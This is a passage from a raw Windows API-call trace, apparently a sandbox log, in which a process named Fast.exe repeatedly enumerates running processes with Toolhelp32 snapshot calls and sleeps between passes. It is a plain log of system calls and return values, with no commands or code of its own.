th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0280.424] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0280.425] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0280.426] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0280.427] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.513] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0280.514] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0280.515] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0280.516] CloseHandle (hObject=0x208) returned 1 [0280.516] Sleep (dwMilliseconds=0x1f4) [0282.635] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0282.639] Process32FirstW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.640] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.640] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.641] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.642] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.643] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.644] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.645] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.645] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.646] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0282.647] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.648] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.649] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.654] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.655] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.656] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.656] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.657] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.658] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.659] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.660] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0282.661] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.662] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.662] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0282.663] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0282.664] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0282.666] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0282.667] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.668] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0282.669] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.670] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0282.671] CloseHandle (hObject=0x128) returned 1 [0282.671] Sleep (dwMilliseconds=0x1f4) [0283.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0283.701] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.702] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.703] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.704] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.705] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.706] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.706] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.707] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.708] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.711] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0283.712] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.713] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.714] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.714] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.715] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.716] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.717] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.718] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.719] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.720] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.720] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0283.721] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.722] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.723] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0283.724] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0283.724] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0283.726] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0283.727] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.728] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0283.729] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.730] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0283.730] CloseHandle (hObject=0x1e0) returned 1 [0283.731] Sleep (dwMilliseconds=0x1f4) [0284.569] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0284.573] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.574] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.574] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.575] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.576] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.577] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.578] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.578] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.579] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.580] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0284.581] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.582] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.583] Process32NextW (in: hSnapshot=0x1f8, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, 